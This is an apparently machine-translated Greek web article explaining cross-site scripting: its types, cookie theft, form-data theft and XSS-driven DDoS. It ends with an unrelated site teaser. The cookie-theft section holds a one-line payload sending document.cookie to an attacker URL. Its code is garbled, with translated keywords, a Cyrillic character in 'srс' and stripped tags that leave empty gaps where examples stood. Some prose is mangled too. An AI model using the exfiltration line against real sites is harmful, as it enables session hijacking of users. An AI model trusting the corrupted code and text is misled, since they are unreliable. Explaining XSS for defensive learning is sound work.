    Ευπάθειες που προκαλούνται από κώδικα από την πλευρά του πελάτη (JavaScript, Visual Basic, Flash κ.λπ.): Γνωστά και ως DOM: Reflected (μη μόνιμα).

    Όπως και στην περίπτωση του διακομιστή, μόνο σε αυτήν την περίπτωση η επίθεση είναι δυνατή λόγω του γεγονότος ότι ο κώδικας επεξεργάζεται το πρόγραμμα περιήγησης.

    Αποθηκευμένο (μόνιμο).

    Παρόμοια με το XSS που είναι αποθηκευμένο από την πλευρά του διακομιστή, μόνο σε αυτήν την περίπτωση το κακόβουλο στοιχείο αποθηκεύεται στην πλευρά του πελάτη χρησιμοποιώντας την αποθήκευση του προγράμματος περιήγησης.

    Παραδείγματα τρωτών σημείων XSS.

    Είναι ενδιαφέρον ότι στις περισσότερες περιπτώσεις όπου περιγράφεται αυτή η ευπάθεια, φοβόμαστε με τον ακόλουθο κώδικα:

    Http://www.site.com/page.php?var=alert("xss");

    Υπάρχουν δύο τύποι τρωτών σημείων XSS - παθητική και ενεργή.

    Ενεργή ευπάθειαείναι πιο επικίνδυνο, αφού ο εισβολέας δεν χρειάζεται να δελεάσει το θύμα χρησιμοποιώντας έναν ειδικό σύνδεσμο, απλά χρειάζεται να εισάγει τον κώδικα στη βάση δεδομένων ή σε κάποιο αρχείο στον διακομιστή. Έτσι, όλοι οι επισκέπτες του ιστότοπου γίνονται αυτόματα θύματα. Μπορεί να ενσωματωθεί, για παράδειγμα, χρησιμοποιώντας SQL injection. Επομένως, δεν πρέπει να εμπιστεύεστε τα δεδομένα που είναι αποθηκευμένα στη βάση δεδομένων, ακόμα κι αν υποβλήθηκαν σε επεξεργασία κατά την εισαγωγή.

    Παράδειγμα παθητική ευπάθειαΜπορείτε να το δείτε στην αρχή του άρθρου. Αυτό απαιτεί ήδη κοινωνική μηχανική, για παράδειγμα, μια σημαντική επιστολή από τη διαχείριση του ιστότοπου που σας ζητά να ελέγξετε τις ρυθμίσεις του λογαριασμού σας μετά την επαναφορά από ένα αντίγραφο ασφαλείας. Συνεπώς, πρέπει να γνωρίζετε τη διεύθυνση του θύματος ή απλώς να κανονίσετε μια αποστολή ανεπιθύμητης αλληλογραφίας ή μια ανάρτηση σε κάποιο φόρουμ και δεν είναι γεγονός ότι τα θύματα θα είναι αφελή και θα ακολουθήσουν τον σύνδεσμό σας.

    Επιπλέον, τόσο οι παράμετροι POST όσο και οι παράμετροι GET μπορεί να είναι ευαίσθητες σε παθητική ευπάθεια. Με τις παραμέτρους POST, φυσικά, θα πρέπει να καταφύγετε σε κόλπα. Για παράδειγμα, μια ανακατεύθυνση από τον ιστότοπο ενός εισβολέα.

    document.getElementsByTagName("form").submit();

    Επομένως, η ευπάθεια GET είναι λίγο πιο επικίνδυνη, επειδή... Είναι πιο εύκολο για ένα θύμα να παρατηρήσει έναν εσφαλμένο τομέα παρά μια πρόσθετη παράμετρο (αν και το url μπορεί γενικά να κωδικοποιηθεί).

    Κλοπή Cookies

    Αυτό είναι το πιο συχνά αναφερόμενο παράδειγμα επίθεσης XSS. Μερικές φορές οι ιστότοποι αποθηκεύουν ορισμένες πολύτιμες πληροφορίες στα Cookies (μερικές φορές ακόμη και τα στοιχεία σύνδεσης και τον κωδικό πρόσβασης του χρήστη (ή τον κατακερματισμό του)), αλλά το πιο επικίνδυνο πράγμα είναι η κλοπή μιας ενεργής περιόδου σύνδεσης, επομένως μην ξεχάσετε να κάνετε κλικ στον σύνδεσμο "Έξοδος" στους ιστότοπους , ακόμα κι αν είναι οικιακός υπολογιστής. Ευτυχώς, στους περισσότερους πόρους η διάρκεια της περιόδου λειτουργίας είναι περιορισμένη.

    Var img = νέα εικόνα(); img.srс = "http://site/xss.php?" + document.cookie;

    Γι' αυτό εισήγαγαν περιορισμούς τομέα στο XMLHttpRequest, αλλά αυτό δεν αποτελεί πρόβλημα για έναν εισβολέα, καθώς υπάρχει , , background:url(); και ούτω καθεξής.

    Κλοπή δεδομένων από φόρμες

    Αναζητούμε τη φόρμα μέσω, για παράδειγμα, του getElementById και παρακολουθούμε το συμβάν onsubmit. Τώρα, πριν από την υποβολή της φόρμας, τα δεδομένα που εισάγατε αποστέλλονται επίσης στον διακομιστή του εισβολέα.

    Αυτός ο τύπος επίθεσης θυμίζει κάπως phishing, μόνο που χρησιμοποιεί έναν πραγματικό ιστότοπο και όχι έναν ψεύτικο, κάτι που ενσταλάζει περισσότερη εμπιστοσύνη στο θύμα.

    Επίθεση DDoS (κατανεμημένη επίθεση άρνησης υπηρεσίας)

    Μια ευπάθεια XSS σε πόρους με μεγάλη επίσκεψη μπορεί να χρησιμοποιηθεί για να ξεκινήσει μια επίθεση DDoS. Η ουσία είναι απλή - υπάρχουν πολλά αιτήματα που ο διακομιστής που δέχεται επίθεση δεν μπορεί να αντέξει.
    Στην πραγματικότητα, η σχέση με το XSS είναι έμμεση, καθώς τα σενάρια μπορεί να μην χρησιμοποιούνται καθόλου, μια κατασκευή όπως αυτή είναι αρκετή:

    Ποιοι είναι οι κίνδυνοι του XSS;

    Πώς μπορείτε να προστατέψετε τον ιστότοπό σας από το XSS; Πώς να ελέγξετε τον κώδικά σας για τρωτά σημεία; Υπάρχουν τεχνολογίες όπως το Sucuri Firewall που έχουν σχεδιαστεί ειδικά για την αποφυγή τέτοιων επιθέσεων. Αλλά αν είστε προγραμματιστής, σίγουρα θα θέλετε να μάθετε περισσότερα σχετικά με τον τρόπο αναγνώρισης και άμβλυνσης των τρωτών σημείων XSS.

    Θα μιλήσουμε για αυτό στο επόμενο μέρος του άρθρου για το XSS.

    Συνεχίζοντας το θέμα:
    μήλο

    Η τυχαία περιστροφή της οθόνης είναι ένα πολύ κοινό πρόβλημα. Συμφωνήστε ότι δεν είναι βολικό να εργάζεστε όταν η οθόνη είναι αναποδογυρισμένη, ας πούμε, κατά 90 μοίρες. Σε αυτό το άρθρο...

    Νέα άρθρα
    /
    Δημοφιλής